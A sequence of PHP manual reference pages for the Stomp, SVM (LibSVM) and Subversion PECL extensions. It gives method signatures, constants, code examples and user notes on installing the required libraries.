Returns TRUE on success or FALSE on failure.

Notes

Note:

A transaction header may be specified, indicating that the message acknowledgment should be part of the named transaction.

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

james dot mk dot green at gmail dot com 22-Aug-2011 04:14
Without a receipt header your application will fire messages potentially faster than the broker can receive them at. The broker may issue failure notices however STOMP being asynchronous your client won't get to see it.

Without a receipt ActiveMQ (5.5.0) with ProducerFlowControl turned on drops messages (even persistent ones) and my application knows nothing about it (send() returned true). With receipt header specified the STOMP library handles the wait for the receipt acknowledgement for you - you are essentially automatically throttled.
Stomp::readFrame
Stomp::setReadTimeout
Stomp


Sets read timeout

Stomp::send
Stomp::subscribe
Stomp
PHP Manual

Stomp::setReadTimeout

stomp_set_read_timeout

(PECL stomp >= 0.3.0)

Stomp::setReadTimeout -- stomp_set_read_timeout — Sets read timeout

Description

Object oriented style (method):

public void Stomp::setReadTimeout ( int $seconds [, int $microseconds ] )

Procedural style:

void stomp_set_read_timeout ( resource $link , int $seconds [, int $microseconds ] )

Sets read timeout.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

seconds

The seconds part of the timeout to be set.

microseconds

The microseconds part of the timeout to be set.

Examples

Example #1 Object oriented style

<?php

/* connection */
try {
    $stomp = new Stomp('tcp://localhost:61613');
} catch(StompException $e) {
    die('Connection failed: ' . $e->getMessage());
}

$stomp->setReadTimeout(10);

/* close connection */
unset($stomp);

?>

Example #2 Procedural style

<?php

/* connection */
$link = stomp_connect('ssl://localhost:61612');

/* check connection */
if (!$link) {
    die('Connection failed: ' . stomp_connect_error());
}

stomp_set_read_timeout($link, 10);

/* close connection */
stomp_close($link);

?>

User Contributed Notes

There are no user contributed notes for this page.
Stomp::send
Stomp::subscribe
Stomp


Registers to listen to a given destination

Stomp::setReadTimeout
Stomp::unsubscribe
Stomp
PHP Manual

Stomp::subscribe

stomp_subscribe

(PECL stomp >= 0.1.0)

Stomp::subscribe -- stomp_subscribe — Registers to listen to a given destination

Description

Object oriented style (method):

public bool Stomp::subscribe ( string $destination [, array $headers ] )

Procedural style:

bool stomp_subscribe ( resource $link , string $destination [, array $headers ] )

Registers to listen to a given destination.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Destination to subscribe to.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

There are no user contributed notes for this page.
Stomp::setReadTimeout
Stomp::unsubscribe
Stomp


Removes an existing subscription

Stomp::subscribe
StompFrame
Stomp
PHP Manual

Stomp::unsubscribe

stomp_unsubscribe

(PECL stomp >= 0.1.0)

Stomp::unsubscribe -- stomp_unsubscribe — Removes an existing subscription

Description

Object oriented style (method):

public bool Stomp::unsubscribe ( string $destination [, array $headers ] )

Procedural style:

bool stomp_unsubscribe ( resource $link , string $destination [, array $headers ] )

Removes an existing subscription.

Parameters

link

Procedural style only: The stomp link identifier returned by stomp_connect().

destination

Subscription to remove.

headers

Associative array containing the additional headers (example: receipt).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Tip

Stomp is inherently asynchronous. Synchronous communication can be implemented adding a receipt header. This will cause methods to not return anything until the server has acknowledged receipt of the message or until read timeout was reached.

Examples

See stomp_ack().

User Contributed Notes

There are no user contributed notes for this page.
Stomp::subscribe
StompFrame
Stomp


The StompFrame class

(No version information available, might only be in SVN)

Introduction

Represents a message which was sent or received from a Stomp compliant Message Broker.

Class synopsis

StompFrame {
/* Properties */
public $command ;
public $headers ;
public $body ;
/* Methods */
__construct ([ string $command [, array $headers [, string $body ]]] )
}

Properties

command

Frame command.

headers

Frame headers (array).

body

Frame body.

Table of Contents

  • StompFrame::__construct — Constructor

User Contributed Notes

There are no user contributed notes for this page.
Stomp::unsubscribe
StompFrame::__construct
Stomp


Constructor

StompFrame
StompException
StompFrame
PHP Manual

StompFrame::__construct

(PECL stomp >= 0.1.0)

StompFrame::__construct — Constructor

Description

StompFrame::__construct ([ string $command [, array $headers [, string $body ]]] )

Constructor.

Parameters

command

Frame command

headers

Frame headers (array).

body

Frame body.

User Contributed Notes

There are no user contributed notes for this page.
StompFrame
StompException
StompFrame


The StompException class

(No version information available, might only be in SVN)

Introduction

Represents an error raised by the stomp extension. See Exceptions for more information about Exceptions in PHP.

Class synopsis

StompException extends Exception {
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
/* Methods */
public string getDetails ( void )
}

Table of Contents

  • StompException::getDetails — Get exception details

User Contributed Notes

There are no user contributed notes for this page.
StompFrame::__construct
StompException::getDetails
Stomp


Get exception details

StompException
SVM
StompException
PHP Manual

StompException::getDetails

(No version information available, might only be in SVN)

StompException::getDetails — Get exception details

Description

public string StompException::getDetails ( void )

Get exception details.

Return Values

string containing the error details.

User Contributed Notes

There are no user contributed notes for this page.
StompException
SVM
StompException


Support Vector Machine

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Examples
  • SVM — The SVM class
    • SVM::__construct — Construct a new SVM object
    • SVM::crossvalidate — Test training params on subsets of the training data.
    • SVM::getOptions — Return the current training parameters
    • SVM::setOptions — Set training parameters
    • SVM::train — Create a SVMModel based on training data
  • SVMModel — The SVMModel class
    • SVMModel::checkProbabilityModel — Returns true if the model has probability information
    • SVMModel::__construct — Construct a new SVMModel
    • SVMModel::getLabels — Get the labels the model was trained on
    • SVMModel::getNrClass — Returns the number of classes the model was trained with
    • SVMModel::getSvmType — Get the SVM type the model was trained with
    • SVMModel::getSvrProbability — Get the sigma value for regression types
    • SVMModel::load — Load a saved SVM Model
    • SVMModel::predict_probability — Return class probabilities for previous unseen data
    • SVMModel::predict — Predict a value for previously unseen data
    • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.
StompException::getDetails
Introduction
Other Services


Introduction

LibSVM is an efficient solver for SVM classification and regression problems. The svm extension wraps this in a PHP interface for easy use in PHP scripts.

User Contributed Notes

There are no user contributed notes for this page.
SVM
Installing/Configuring
SVM


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SVM


Requirements

Libsvm itself is required, and is available through some package management - libsvm-devel for RPM based system or libsvm-dev for Debian based ones. Alternatively it is available direct from the website. If installing from the » official website then some steps will need to be taken as the package does not install automatically. For example, assuming the latest version is 3.1:

wget http://www.csie.ntu.edu.tw/~cjlin/cgi-bin/libsvm.cgi?+http://www.csie.ntu.edu.tw/~cjlin/libsvm+tar.gz
tar xvzf libsvm-3.1.tar.gz
cd libsvm-3.1
make lib
cp libsvm.so.1 /usr/lib
ln -s libsvm.so.1 libsvm.so
ldconfig
ldconfig --print | grep libsvm

This last step should show libsvm is installed.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/svm

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Examples

The basic process is to define parameters, supply training data to generate a model on, then make predictions based on the model. There are a default set of parameters that should get some results with most any input, so we'll start by looking at the data.

Data is supplied in either a file, a stream, or as an array. If supplied in a file or a stream, it must contain one line per training example, which must be formatted as an integer class (usually 1 and -1) followed by a series of feature/value pairs, in increasing feature order. The features are integers, the values floats, usually scaled 0-1. For example:

-1 1:0.43 3:0.12 9284:0.2

In a document classification problem, say a spam checker, each line would represent a document. There would be two classes, -1 for spam, 1 for ham. Each feature would represent some word, and the value would represent that importance of that word to the document (perhaps the frequency count, with the total scaled to unit length). Features that were 0 (e.g. the word did not appear in the document at all) would simply not be included.

In array mode, the data must be passed as an array of arrays. Each sub-array must have the class as the first element, then key => value sets for the feature values pairs.

This data is passed to the SVM class's train function, which will return an SVM model is successful.

Once a model has been generated, it can be used to make predictions about previously unseen data. This can be passed as an array to the model's predict function, in the same format as before, but without the label. The response will be the class.

Models can be saved and restored as required, using the save and load functions, which both take a file location.

Example #1 Train from array

<?php
$data = array(
    array(-1, 1 => 0.43, 3 => 0.12, 9284 => 0.2),
    array(1, 1 => 0.22, 5 => 0.01, 94 => 0.11),
);

$svm = new SVM();
$model = $svm->train($data);

$data = array(1 => 0.43, 3 => 0.12, 9284 => 0.2);
$result = $model->predict($data);
var_dump($result);
$model->save('model.svm');
?>

The above example will output something similar to:

int(-1)

Example #2 Train from a file

<?php
$svm = new SVM();
$model = $svm->train("traindata.txt");
?>

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
SVM
SVM


The SVM class

(No version information available, might only be in SVN)

Introduction

Class synopsis

SVM {
/* Constants */
const integer C_SVC = 0 ;
const integer NU_SVC = 1 ;
const integer ONE_CLASS = 2 ;
const integer EPSILON_SVR = 3 ;
const integer NU_SVR = 4 ;
const integer KERNEL_LINEAR = 0 ;
const integer KERNEL_POLY = 1 ;
const integer KERNEL_RBF = 2 ;
const integer KERNEL_SIGMOID = 3 ;
const integer KERNEL_PRECOMPUTED = 4 ;
const integer OPT_TYPE = 101 ;
const integer OPT_KERNEL_TYPE = 102 ;
const integer OPT_DEGREE = 103 ;
const integer OPT_SHRINKING = 104 ;
const integer OPT_PROPABILITY = 105 ;
const integer OPT_GAMMA = 201 ;
const integer OPT_NU = 202 ;
const integer OPT_EPS = 203 ;
const integer OPT_P = 204 ;
const integer OPT_COEF_ZERO = 205 ;
const integer OPT_C = 206 ;
const integer OPT_CACHE_SIZE = 207 ;
/* Methods */
public __construct ( void )
public float svm::crossvalidate ( array $problem , int $number_of_folds )
public array getOptions ( void )
public bool setOptions ( array $params )
public SVMModel svm::train ( array $problem [, array $weights ] )
}

Predefined Constants

SVM Constants

SVM::C_SVC

The basic C_SVC SVM type. The default, and a good starting point

SVM::NU_SVC

The NU_SVC type uses a different, more flexible, error weighting

SVM::ONE_CLASS

One class SVM type. Train just on a single class, using outliers as negative examples

SVM::EPSILON_SVR

A SVM type for regression (predicting a value rather than just a class)

SVM::NU_SVR

A NU style SVM regression type

SVM::KERNEL_LINEAR

A very simple kernel, can work well on large document classification problems

SVM::KERNEL_POLY

A polynomial kernel

SVM::KERNEL_RBF

The common Gaussian RBD kernel. Handles non-linear problems well and is a good default for classification

SVM::KERNEL_SIGMOID

A kernel based on the sigmoid function. Using this makes the SVM very similar to a two layer sigmoid based neural network

SVM::KERNEL_PRECOMPUTED

A precomputed kernel - currently unsupported.

SVM::OPT_TYPE

The options key for the SVM type

SVM::OPT_KERNEL_TYPE

The options key for the kernel type

SVM::OPT_DEGREE

SVM::OPT_SHRINKING

Training parameter, boolean, for whether to use the shrinking heuristics

SVM::OPT_PROBABILITY

Training parameter, boolean, for whether to collect and use probability estimates

SVM::OPT_GAMMA

Algorithm parameter for Poly, RBF and Sigmoid kernel types.

SVM::OPT_NU

The option key for the nu parameter, only used in the NU_ SVM types

SVM::OPT_EPS

The option key for the Epsilon parameter, used in epsilon regression

SVM::OPT_P

Training parameter used by Episilon SVR regression

SVM::OPT_COEF_ZERO

Algorithm parameter for poly and sigmoid kernels

SVM::OPT_C

The option for the cost parameter that controls tradeoff between errors and generality - effectively the penalty for misclassifying training examples.

SVM::OPT_CACHE_SIZE

Memory cache size, in MB

Table of Contents

  • SVM::__construct — Construct a new SVM object
  • SVM::crossvalidate — Test training params on subsets of the training data.
  • SVM::getOptions — Return the current training parameters
  • SVM::setOptions — Set training parameters
  • SVM::train — Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.
Examples
SVM::__construct
SVM


Construct a new SVM object

SVM
SVM::crossvalidate
SVM
PHP Manual

SVM::__construct

(PECL svm >= 0.1.0)

SVM::__construct — Construct a new SVM object

Description

public SVM::__construct ( void )

Constructs a new SVM object ready to accept training data.

Parameters

This function has no parameters.

Return Values

Throws SVMException if the libsvm library could not be loaded

User Contributed Notes

There are no user contributed notes for this page.
SVM
SVM::crossvalidate
SVM


Test training params on subsets of the training data.

SVM::__construct
SVM::getOptions
SVM
PHP Manual

SVM::crossvalidate

(PECL svm >= 0.1.0)

SVM::crossvalidate — Test training params on subsets of the training data.

Description

public float svm::crossvalidate ( array $problem , int $number_of_folds )

Crossvalidate can be used to test the effectiveness of the current parameter set on a subset of the training data. Given a problem set and a n "folds", it separates the problem set into n subsets, and the repeatedly trains on one subset and tests on another. While the accuracy will generally be lower than a SVM trained on the enter data set, the accuracy score returned should be relatively useful, so it can be used to test different training parameters.

Parameters

problem

The problem data. This can either be in the form of an array, the URL of an SVMLight formatted file, or a stream to an opened SVMLight formatted datasource.

number_of_folds

The number of sets the data should be divided into and cross tested. A higher number means smaller training sets and less reliability. 5 is a good number to start with.

Return Values

The correct percentage, expressed as a floating point number from 0-1. In the case of NU_SVC or EPSILON_SVR kernels the mean squared error will returned instead.

See Also

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.
SVM::__construct
SVM::getOptions
SVM


Return the current training parameters

SVM::crossvalidate
SVM::setOptions
SVM
PHP Manual

SVM::getOptions

(PECL svm >= 0.1.0)

SVM::getOptions — Return the current training parameters

Description

public array SVM::getOptions ( void )

Retrieve an array containing the training parameters. The parameters will be keyed on the predefined SVM constants.

Parameters

This function has no parameters.

Return Values

Returns an array of configuration settings.

User Contributed Notes

There are no user contributed notes for this page.
SVM::crossvalidate
SVM::setOptions
SVM


Set training parameters

SVM::getOptions
SVM::train
SVM
PHP Manual

SVM::setOptions

(PECL svm >= 0.1.0)

SVM::setOptions — Set training parameters

Description

public bool SVM::setOptions ( array $params )

Set one or more training parameters.

Parameters

params

An array of training parameters, keyed on the SVM constants.

Return Values

Return true on success, throws SVMException on error.

User Contributed Notes

There are no user contributed notes for this page.
SVM::getOptions
SVM::train
SVM


Create a SVMModel based on training data

SVM::setOptions
SVMModel
SVM
PHP Manual

SVM::train

(PECL svm >= 0.1.0)

SVM::train — Create a SVMModel based on training data

Description

public SVMModel svm::train ( array $problem [, array $weights ] )

Train a support vector machine based on the supplied training data.

Parameters

problem

The problem can be provided in three different ways. An array, where the data should start with the class label (usually 1 or -1) then followed by a sparse data set of dimension => data pairs. A URL to a file containing a SVM Light formatted problem, with the each line being a new training example, the start of each line containing the class (1, -1) then a series of tab separated data values shows as key:value. A opened stream pointing to a data source formatted as in the file above.

weights

Weights are an optional set of weighting parameters for the different classes, to help account for unbalanced training sets. For example, if the classes were 1 and -1, and -1 had significantly more example than one, the weight for -1 could be 0.5. Weights should be in the range 0-1.

Return Values

Returns an SVMModel that can be used to classify previously unseen data. Throws SVMException on error

User Contributed Notes

There are no user contributed notes for this page.
SVM::setOptions
SVMModel
SVM


The SVMModel class

(No version information available, might only be in SVN)

Introduction

The SVMModel is the end result of the training process. It can be used to classify previously unseen data.

Class synopsis

SVMModel {
/* Methods */
public bool checkProbabilityModel ( void )
public __construct ([ string $filename ] )
public array getLabels ( void )
public int getNrClass ( void )
public int getSvmType ( void )
public float getSvrProbability ( void )
public bool load ( string $filename )
public float predict_probability ( array $data )
public float predict ( array $data )
public bool save ( string $filename )
}

Table of Contents

  • SVMModel::checkProbabilityModel — Returns true if the model has probability information
  • SVMModel::__construct — Construct a new SVMModel
  • SVMModel::getLabels — Get the labels the model was trained on
  • SVMModel::getNrClass — Returns the number of classes the model was trained with
  • SVMModel::getSvmType — Get the SVM type the model was trained with
  • SVMModel::getSvrProbability — Get the sigma value for regression types
  • SVMModel::load — Load a saved SVM Model
  • SVMModel::predict_probability — Return class probabilities for previous unseen data
  • SVMModel::predict — Predict a value for previously unseen data
  • SVMModel::save — Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.
SVM::train
SVMModel::checkProbabilityModel
SVM


Returns true if the model has probability information

SVMModel
SVMModel::__construct
SVMModel
PHP Manual

SVMModel::checkProbabilityModel

(PECL svm >= 0.1.5)

SVMModel::checkProbabilityModel — Returns true if the model has probability information

Description

public bool SVMModel::checkProbabilityModel ( void )

Returns true if the model contains probability information.

Parameters

This function has no parameters.

Return Values

Return a boolean value

User Contributed Notes

There are no user contributed notes for this page.
SVMModel
SVMModel::__construct
SVMModel


Construct a new SVMModel

SVMModel::checkProbabilityModel
SVMModel::getLabels
SVMModel
PHP Manual

SVMModel::__construct

(PECL svm >= 0.1.0)

SVMModel::__construct — Construct a new SVMModel

Description

public SVMModel::__construct ([ string $filename ] )

Build a new SVMModel. Models will usually be created from the SVM::train function, but then saved models may be restored directly.

Parameters

filename

The filename for the saved model file this model should load.

Return Values

Throws SVMException on error

See Also

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::checkProbabilityModel
SVMModel::getLabels
SVMModel


Get the labels the model was trained on

SVMModel::__construct
SVMModel::getNrClass
SVMModel
PHP Manual

SVMModel::getLabels

(PECL svm >= 0.1.5)

SVMModel::getLabels — Get the labels the model was trained on

Description

public array SVMModel::getLabels ( void )

Return an array of labels that the model was trained on. For regression and one class models an empty array is returned.

Parameters

This function has no parameters.

Return Values

Return an array of labels

See Also

  • SVMModel::getNrClass() - Returns the number of classes the model was trained with

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::__construct
SVMModel::getNrClass
SVMModel


Returns the number of classes the model was trained with

SVMModel::getLabels
SVMModel::getSvmType
SVMModel
PHP Manual

SVMModel::getNrClass

(PECL svm >= 0.1.5)

SVMModel::getNrClass — Returns the number of classes the model was trained with

Description

public int SVMModel::getNrClass ( void )

Returns the number of classes the model was trained with, will return 2 for one class and regression models.

Parameters

This function has no parameters.

Return Values

Return an integer number of classes

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::getLabels
SVMModel::getSvmType
SVMModel


Get the SVM type the model was trained with

SVMModel::getNrClass
SVMModel::getSvrProbability
SVMModel
PHP Manual

SVMModel::getSvmType

(PECL svm >= 0.1.5)

SVMModel::getSvmType — Get the SVM type the model was trained with

Description

public int SVMModel::getSvmType ( void )

Returns an integer value representing the type of the SVM model used, e.g SVM::C_SVC.

Parameters

This function has no parameters.

Return Values

Return an integer SVM type

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::getNrClass
SVMModel::getSvrProbability
SVMModel


Get the sigma value for regression types

SVMModel::getSvmType
SVMModel::load
SVMModel
PHP Manual

SVMModel::getSvrProbability

(PECL svm >= 0.1.5)

SVMModel::getSvrProbability — Get the sigma value for regression types

Description

public float SVMModel::getSvrProbability ( void )

For regression models, returns a sigma value. If there is no probability information or the model is not SVR, 0 is returned.

Parameters

This function has no parameters.

Return Values

Returns a sigma value

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::getSvmType
SVMModel::load
SVMModel


Load a saved SVM Model

SVMModel::getSvrProbability
SVMModel::predict_probability
SVMModel
PHP Manual

SVMModel::load

(PECL svm >= 0.1.00.1.0)

SVMModel::load — Load a saved SVM Model

Description

public bool SVMModel::load ( string $filename )

Load a model file ready for classification or regression.

Parameters

filename

The filename of the model.

Return Values

Throws SVMException on error. Returns true on success.

See Also

  • SVMModel::save() - Save a model to a file

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::getSvrProbability
SVMModel::predict_probability
SVMModel


Return class probabilities for previous unseen data

SVMModel::load
SVMModel::predict
SVMModel
PHP Manual

SVMModel::predict_probability

(PECL svm >= 0.1.4)

SVMModel::predict_probability — Return class probabilities for previous unseen data

Description

public float SVMModel::predict_probability ( array $data )

This function accepts an array of data and attempts to predict the class, as with the predict function. Additionally, however, this function returns an array of probabilities, one per class in the model, which represent the estimated chance of the data supplied being a member of that class. Requires that the model to be used has been trained with the probability parameter set to true.

Parameters

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

probabilities

The supplied value will be filled with the probabilities. This will be either null, in the case of a model without probability information, or an array where the index is the class name and the value the predicted probability.

Return Values

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

See Also

  • SVM::predict()

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::load
SVMModel::predict
SVMModel


Predict a value for previously unseen data

SVMModel::predict_probability
SVMModel::save
SVMModel
PHP Manual

SVMModel::predict

(PECL svm >= 0.1.0)

SVMModel::predict — Predict a value for previously unseen data

Description

public float SVMModel::predict ( array $data )

This function accepts an array of data and attempts to predict the class or regression value based on the model extracted from previously trained data.

Parameters

data

The array to be classified. This should be a series of key => value pairs in increasing key order, but not necessarily continuous.

Return Values

Float the predicted value. This will be a class label in the case of classification, a real value in the case of regression. Throws SVMException on error

See Also

  • SVM::train() - Create a SVMModel based on training data

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::predict_probability
SVMModel::save
SVMModel


Save a model to a file

SVMModel::predict
SVN
SVMModel
PHP Manual

SVMModel::save

(PECL svm >= 0.1.0)

SVMModel::save — Save a model to a file

Description

public bool SVMModel::save ( string $filename )

Save the model data to a file, for later use.

Parameters

filename

The file to save the model to.

Return Values

Throws SVMException on error. Returns true on success.

See Also

  • SVMModel::load() - Load a saved SVM Model

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::predict
SVN
SVMModel


Subversion

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • SVN Functions
    • svn_add — Schedules the addition of an item in a working directory
    • svn_auth_get_parameter — Retrieves authentication parameter
    • svn_auth_set_parameter — Sets an authentication parameter
    • svn_blame — Get the SVN blame for a file
    • svn_cat — Returns the contents of a file in a repository
    • svn_checkout — Checks out a working copy from the repository
    • svn_cleanup — Recursively cleanup a working copy directory, finishing incomplete operations and removing locks
    • svn_client_version — Returns the version of the SVN client libraries
    • svn_commit — Sends changes from the local working copy to the repository
    • svn_delete — Delete items from a working copy or repository.
    • svn_diff — Recursively diffs two paths
    • svn_export — Export the contents of a SVN directory
    • svn_fs_abort_txn — Abort a transaction, returns true if everything is okay, false otherwise
    • svn_fs_apply_text — Creates and returns a stream that will be used to replace
    • svn_fs_begin_txn2 — Create a new transaction
    • svn_fs_change_node_prop — Return true if everything is ok, false otherwise
    • svn_fs_check_path — Determines what kind of item lives at path in a given repository fsroot
    • svn_fs_contents_changed — Return true if content is different, false otherwise
    • svn_fs_copy — Copies a file or a directory, returns true if all is ok, false otherwise
    • svn_fs_delete — Deletes a file or a directory, return true if all is ok, false otherwise
    • svn_fs_dir_entries — Enumerates the directory entries under path; returns a hash of dir names to file type
    • svn_fs_file_contents — Returns a stream to access the contents of a file from a given version of the fs
    • svn_fs_file_length — Returns the length of a file from a given version of the fs
    • svn_fs_is_dir — Return true if the path points to a directory, false otherwise
    • svn_fs_is_file — Return true if the path points to a file, false otherwise
    • svn_fs_make_dir — Creates a new empty directory, returns true if all is ok, false otherwise
    • svn_fs_make_file — Creates a new empty file, returns true if all is ok, false otherwise
    • svn_fs_node_created_rev — Returns the revision in which path under fsroot was created
    • svn_fs_node_prop — Returns the value of a property for a node
    • svn_fs_props_changed — Return true if props are different, false otherwise
    • svn_fs_revision_prop — Fetches the value of a named property
    • svn_fs_revision_root — Get a handle on a specific version of the repository root
    • svn_fs_txn_root — Creates and returns a transaction root
    • svn_fs_youngest_rev — Returns the number of the youngest revision in the filesystem
    • svn_import — Imports an unversioned path into a repository
    • svn_log — Returns the commit log messages of a repository URL
    • svn_ls — Returns list of directory contents in repository URL, optionally at revision number
    • svn_mkdir — Creates a directory in a working copy or repository
    • svn_repos_create — Create a new subversion repository at path
    • svn_repos_fs_begin_txn_for_commit — Create a new transaction
    • svn_repos_fs_commit_txn — Commits a transaction and returns the new revision
    • svn_repos_fs — Gets a handle on the filesystem for a repository
    • svn_repos_hotcopy — Make a hot-copy of the repos at repospath; copy it to destpath
    • svn_repos_open — Open a shared lock on a repository.
    • svn_repos_recover — Run recovery procedures on the repository located at path.
    • svn_revert — Revert changes to the working copy
    • svn_status — Returns the status of working copy files and directories
    • svn_update — Update working copy

User Contributed Notes

There are no user contributed notes for this page.
SVMModel::save
Introduction
Other Services


Introduction

This extension implements PHP bindings for » Subversion (SVN), a version control system, allowing PHP scripts to communicate with SVN repositories and working copies without direct command line calls to the svn executable.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
SVN
Installing/Configuring
SVN


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SVN


Requirements

The Subversion binaries are not necessary to use this extension. However, when compiling the extension, libsvn (the Subversion headers) must be available.

User Contributed Notes

IfTrueElseFalse 01-Sep-2010 10:15
If you get
checking for svn includes... configure: error: failed to find svn_client.h

Try
sudo apt-get install libsvn-dev
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/svn

If ./configure is having trouble finding the SVN files (for example, Subversion was installed with a different prefix directory), use ./configure --with-svn=$USR_PATH to specify the directory where the include/subversion-1/ folder is located.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

Warning

If the extension is compiled against libsvn 1.3, functions that work with working copies will fail when used on working copies created by Subversion 1.4.

User Contributed Notes

alexcescalona at gmail dot com 21-Jun-2011 08:38
If you use CollabNet's Subversion client (v. 1.6.13), the development libraries are included. For the most current version (v 1.6.17) you may need to install CollabNet Subversion Edge for access to the development libraries.

Sure, the subversion-devel package should not conflict with Collabnet, but it has a dependency with the subversion package, which installs svn binaries in /usr/bin, which takes precedence over CollabNet's path in the PATH environment variable.
chris at livingresource dot net 16-Dec-2010 08:23
If you have Ubuntu (I know 10.04+, not sure about earlier), you can do this to install the package;

sudo apt-get php5-svn
Bruno Macias 30-Nov-2010 06:44
For install in CentOS 5.5

yum install subversion subversion-devel neon neon-devel
pecl install svn

echo "extension=svn.so" > /etc/php.d/svn.ini

service httpd restart
AaronMontana 4T gmail D0T com 07-Jan-2009 03:55
If you are running Ubuntu, and probably other linux distros - you may run into some installation errors like 'Could not find svn_client.h' - check to see if you have installed 'libsvn-dev'.
elpoutro at free dot fr 30-Sep-2008 10:44
For Windows:
If you use a fresh install of windows XP you will need all this DLL in your C:/windows/system32/ folder:
intl3_svn.dll, libdb43.dll, libapr.dll, libapriconv.dll, libaprutil.dll, libeay32.dll, msjava.dll, php5ts.dll, ssleay32.dll, vsinit.dll, msvcr71.dll, MSVCP71.DLL
I recommend to use DependencyWalker (http://www.dependencywalker.com/) with your php_svn.dll (in php extensions) to see exactly which ones you need.
me at home dot fr 01-Sep-2008 05:36
To make php_svn.dll work with windows, you will first need to find missing dependancies with dependancy Walker tool...

In my case, libdb43.dll and libphp5ts.dll where missing in sytem32 directory.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SVN_REVISION_HEAD (integer)
Magic number (-1) specifying the HEAD revision
Constants usable with svn_auth_set_parameter()
SVN_AUTH_PARAM_DEFAULT_USERNAME (string)
Property for default username to use when performing basic authentication
SVN_AUTH_PARAM_DEFAULT_PASSWORD (string)
Property for default password to use when performing basic authentication
SVN_AUTH_PARAM_NON_INTERACTIVE (string)
SVN_AUTH_PARAM_DONT_STORE_PASSWORDS (string)
SVN_AUTH_PARAM_NO_AUTH_CACHE (string)
SVN_AUTH_PARAM_SSL_SERVER_FAILURES (string)
SVN_AUTH_PARAM_SSL_SERVER_CERT_INFO (string)
SVN_AUTH_PARAM_CONFIG (string)
SVN_AUTH_PARAM_SERVER_GROUP (string)
SVN_AUTH_PARAM_CONFIG_DIR (string)
PHP_SVN_AUTH_PARAM_IGNORE_SSL_VERIFY_ERRORS (string)
Custom property for ignoring SSL cert verification errors
Filesystem constants
SVN_FS_CONFIG_FS_TYPE (string)
Configuration key that determines filesystem type
SVN_FS_TYPE_BDB (string)
Filesystem is Berkeley-DB implementation
SVN_FS_TYPE_FSFS (string)
Filesystem is native-filesystem implementation
Reserved property constants
SVN_PROP_REVISION_DATE (string)
svn:date
SVN_PROP_REVISION_ORIG_DATE (string)
svn:original-date
SVN_PROP_REVISION_AUTHOR (string)
svn:author
SVN_PROP_REVISION_LOG (string)
svn:log
Working copy status constants
SVN_WC_STATUS_NONE (int)
Status does not exist
SVN_WC_STATUS_UNVERSIONED (int)
Item is not versioned in working copy
SVN_WC_STATUS_NORMAL (int)
Item exists, nothing else is happening
SVN_WC_STATUS_ADDED (int)
Item is scheduled for addition
SVN_WC_STATUS_MISSING (int)
Item is versioned but missing from the working copy
SVN_WC_STATUS_DELETED (int)
Item is scheduled for deletion
SVN_WC_STATUS_REPLACED (int)
Item was deleted and then re-added
SVN_WC_STATUS_MODIFIED (int)
Item (text or properties) was modified
SVN_WC_STATUS_MERGED (int)
Item's local modifications were merged with repository modifications
SVN_WC_STATUS_CONFLICTED (int)
Item's local modifications conflicted with repository modifications
SVN_WC_STATUS_IGNORED (int)
Item is unversioned but configured to be ignored
SVN_WC_STATUS_OBSTRUCTED (int)
Unversioned item is in the way of a versioned resource
